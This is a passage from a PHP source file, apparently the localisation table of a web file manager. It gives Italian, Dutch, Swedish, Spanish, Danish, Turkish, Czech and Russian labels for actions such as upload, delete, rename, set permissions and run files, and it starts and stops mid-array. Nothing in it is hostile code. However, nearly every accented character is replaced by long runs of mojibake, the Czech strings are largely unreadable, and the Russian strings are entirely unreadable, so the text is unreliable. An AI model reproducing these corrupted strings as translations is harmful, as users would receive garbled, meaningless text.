'not_renamed' => '"[%1] non ����¯�¿�½������¨ stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" non pu����¯�¿�½������² essere modificato.',
'executed' => "\"[%1]\" ����¯�¿�½������¨ stato eseguito con successo:\n{%2}",
'not_executed' => "\"[%1]\" non ����¯�¿�½������¨ stato eseguito con successo\n{%2}",
'saved' => '"[%1]" ����¯�¿�½������¨ stato salvato.',
'not_saved' => '"[%1]" non ����¯�¿�½������¨ stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" ����¯�¿�½������¨ stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non ����¯�¿�½������¨ stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non pu����¯�¿�½������² essere letto.'
		);

	case 'nl':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',

'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',

'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',

'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',

'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',

'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
		);

	case 'se':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';
 
		return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',
 
'size' => 'Storlek',
'permission' => 'S����¯�¿�½������¤kerhetsniv����¯�¿�½������¥',
'owner' => '����¯�¿�½���¯���¿���½gare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',
 
'read' => 'L����¯�¿�½������¤s',
'write' => 'Skriv',
'execute' => 'Utf����¯�¿�½������¶r',
 
'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => '����¯�¿�½���¯���¿���½ndra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => '����¯�¿�½���¯���¿���½ndra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'T����¯�¿�½������¶m',
'relative' => 'Relative path to target',
 
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
 
'user' => 'Anv����¯�¿�½������¤ndare',
'password' => 'L����¯�¿�½������¶senord',
'add' => 'L����¯�¿�½������¤gg till',
'add_basic_auth' => 'add basic-authentification',
 
'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De h����¯�¿�½������¤r filerna har raderats:\n[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
'rename_file' => 'Byt namn p����¯�¿�½������¥ fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte d����¯�¿�½������¶pas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan inte ����¯�¿�½������¤ndras.',
'executed' => "\"[%1]\" har utf����¯�¿�½������¶rts:\n{%2}",
'not_executed' => "\"[%1]\" kunde inte utf����¯�¿�½������¶ras:\n{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink fr����¯�¿�½������¥n "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink fr����¯�¿�½������¥n "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'R����¯�¿�½������¤ttigheter f����¯�¿�½������¶r "[%1]":',
'permission_set' => 'R����¯�¿�½������¤ttigheter f����¯�¿�½������¶r "[%1]" ����¯�¿�½������¤ndrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte l����¯�¿�½������¤sas.'
		);

	case 'es':

		$date_format = 'j/n/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directorio',
'file' => 'Archivo',
'filename' => 'Nombre Archivo',

'size' => 'Tama����¯�¿�½������±o',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',

'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecuci����¯�¿�½������³n',

'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',

'yes' => 'Si',
'no' => 'No',
'back' => 'atr����¯�¿�½������¡s',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',

'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificaci����¯�¿�½������³n b����¯�¿�½������¡sica',

'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => '����¯�¿�½������¿Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:\n[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser le����¯�¿�½������­do.'
		);

	case 'dk':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',

'size' => 'St����¯�¿�½������¸rrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',

'read' => 'l����¯�¿�½������¦s',
'write' => 'skriv',
'execute' => 'k����¯�¿�½������¸r',

'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omd����¯�¿�½������¸b',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 's����¯�¿�½������¦t',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',

'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',

'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilf����¯�¿�½������¸j',
'add_basic_auth' => 'tilf����¯�¿�½������¸j grundliggende rettigheder',

'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:\n[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
'rename_file' => 'Omd����¯�¿�½������¸d fil:',
'renamed' => '"[%1]" er blevet omd����¯�¿�½������¸bt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omd����¯�¿�½������¸bes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet k����¯�¿�½������¸rt korrekt:\n{%2}",
'not_executed' => "\"[%1]\" kan ikke k����¯�¿�½������¸res korrekt:\n{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke s����¯�¿�½������¦ttes til [%2].',
'not_readable' => '"[%1]" Kan ikke l����¯�¿�½������¦ses.'
		);

	case 'tr':

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Klasor',
'file' => 'Dosya',
'filename' => 'dosya adi',

'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',

'read' => 'oku',
'write' => 'yaz',
'execute' => 'calistir',

'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'duzenle',
'download' => 'indir',
'upload' => 'Yukle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola gore',

'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'Kisa yol',
'no_output' => 'cikti yok',

'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',

'uploaded' => '"[%1]" yuklendi.',
'not_uploaded' => '"[%1]" yuklenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalar silinsin mi DOSTUM?',
'deleted' => "Bu dosyalar silindi:\n[%1]",
'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" duzenlenemiyor.',
'executed' => "\"[%1]\" Basariyla Calistirildi:\n{%2}",
'not_executed' => "\"[%1]\" Calistirilamadi:\n{%2}",
'saved' => '"[%1]" Kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e kisayol olusturuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e kisayol olusturulamadi.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
		);

	case 'cs':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'UTF-8';

		return array(
'directory' => 'Adres����¯�¿�½���¯���¿���½����¯�¿�½������¡����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'file' => 'Soubor',
'filename' => 'Jm����¯�¿�½���¯���¿���½����¯�¿�½������©no souboru',

'size' => 'Velikost',
'permission' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡va',
'owner' => 'Vlastn����¯�¿�½���¯���¿���½����¯�¿�½������­k',
'group' => 'Skupina',
'other' => 'Ostatn����¯�¿�½���¯���¿���½����¯�¿�½������­',
'functions' => 'Funkce',

'read' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ten����¯�¿�½���¯���¿���½����¯�¿�½������­',
'write' => 'Z����¯�¿�½���¯���¿���½����¯�¿�½������¡pis',
'execute' => 'Spou����¯�¿�½���¯���¿���½����¯�¿�½������¡t����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n����¯�¿�½���¯���¿���½����¯�¿�½������­',

'create_symlink' => 'Vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½it symbolick����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ odkaz',
'delete' => 'Smazat',
'rename' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ejmenovat',
'move' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½esunout',
'copy' => 'Zkop����¯�¿�½���¯���¿���½����¯�¿�½������­rovat',
'edit' => 'Otev����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½������­t',
'download' => 'St����¯�¿�½���¯���¿���½����¯�¿�½������¡hnout',
'upload' => 'Nahraj na server',
'create' => 'Vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½it',
'change' => 'Zm����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½nit',
'save' => 'Ulo����¯�¿�½���¯���¿���½����¯�¿�½������¸it',
'set' => 'Nastavit',
'reset' => 'zp����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t',
'relative' => 'Relatif',

'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zp����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t',
'destination' => 'Destination',
'symlink' => 'Symbolick����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ odkaz',
'no_output' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡zdn����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ v����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½stup',

'user' => 'U����¯�¿�½���¯���¿���½����¯�¿�½������¸ivatel',
'password' => 'Heslo',
'add' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½idat',
'add_basic_auth' => 'p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½idej z����¯�¿�½���¯���¿���½����¯�¿�½������¡kladn����¯�¿�½���¯���¿���½����¯�¿�½������­ autentizaci',

'uploaded' => 'Soubor "[%1]" byl nahr����¯�¿�½���¯���¿���½����¯�¿�½������¡n na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahr����¯�¿�½���¯���¿���½����¯�¿�½������¡n na server.',
'already_exists' => 'Soubor "[%1]" u����¯�¿�½���¯���¿���½����¯�¿�½������¸ exituje.',
'created' => 'Soubor "[%1]" byl vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½en.',
'not_created' => 'Soubor "[%1]" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t  vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½en.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymaz����¯�¿�½���¯���¿���½����¯�¿�½������¡ny tyto soubory:\n[%1]",
'not_deleted' => "Tyto soubory nemohly b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½eny:\n[%1]",
'rename_file' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ejmenov����¯�¿�½���¯���¿���½����¯�¿�½������¡n na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ejmenov����¯�¿�½���¯���¿���½����¯�¿�½������¡n na "[%2]".',
'move_files' => 'P����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½em����¯�¿�½���¯���¿���½����¯�¿�½������­stit tyto soubory:',
'moved' => "Tyto soubory byly p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½em����¯�¿�½���¯���¿���½����¯�¿�½������­st����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ny do \"[%2]\":\n[%1]",
'not_moved' => "Tyto soubory nemohly b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½em����¯�¿�½���¯���¿���½����¯�¿�½������­st����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ny do \"[%2]\":\n[%1]",
'copy_files' => 'Zkop����¯�¿�½���¯���¿���½����¯�¿�½������­rovat tyto soubory:',
'copied' => "Tyto soubory byly zkop����¯�¿�½���¯���¿���½����¯�¿�½������­rov����¯�¿�½���¯���¿���½����¯�¿�½������¡ny do \"[%2]\":\n[%1]",
'not_copied' => "Tyto soubory nemohly b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t zkop����¯�¿�½���¯���¿���½����¯�¿�½������­rov����¯�¿�½���¯���¿���½����¯�¿�½������¡ny do \"[%2]\":\n[%1]",
'not_edited' => 'Soubor "[%1]" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t otev����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½en.',
'executed' => "SOubor \"[%1]\" byl spu����¯�¿�½���¯���¿���½����¯�¿�½������¡t����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n :\n{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t spu����¯�¿�½���¯���¿���½����¯�¿�½������¡t����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n:\n{%2}",
'saved' => 'Soubor "[%1]" byl ulo����¯�¿�½���¯���¿���½����¯�¿�½������¸en.',
'not_saved' => 'Soubor "[%1]" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t ulo����¯�¿�½���¯���¿���½����¯�¿�½������¸en.',
'symlinked' => 'Byl vyvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½en symbolick����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolick����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ odkaz "[%2]" na soubor "[%1]" nemohl b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t vytvo����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½en.',
'permission_for' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡va k "[%1]":',
'permission_set' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡va k "[%1]" byla zm����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½na na [%2].',
'permission_not_set' => 'Pr����¯�¿�½���¯���¿���½����¯�¿�½������¡va k "[%1]" nemohla b����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½t zm����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½n����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½na na [%2].',
'not_readable' => 'Soubor "[%1]" nen����¯�¿�½���¯���¿���½����¯�¿�½������­ mo����¯�¿�½���¯���¿���½����¯�¿�½������¸no p����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½e����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½������­st.'
		);

	case 'ru':

		$date_format = 'd.m.y H:i:s';
		$word_charset = 'KOI8-R';
        
		return array(
'directory' => '����¯�¿�½������«����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'file' => '����¯�¿�½������¦����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'filename' => '����¯�¿�½������©����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',

'size' => '����¯�¿�½������²����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'permission' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'owner' => '����¯�¿�½������¨����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'group' => '����¯�¿�½������§����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'other' => '����¯�¿�½������¤����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'functions' => '����¯�¿�½������¦����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',

'read' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'write' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'execute' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',

'create_symlink' => '����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'delete' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'rename' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'move' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'copy' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'edit' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'download' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'upload' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'create' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
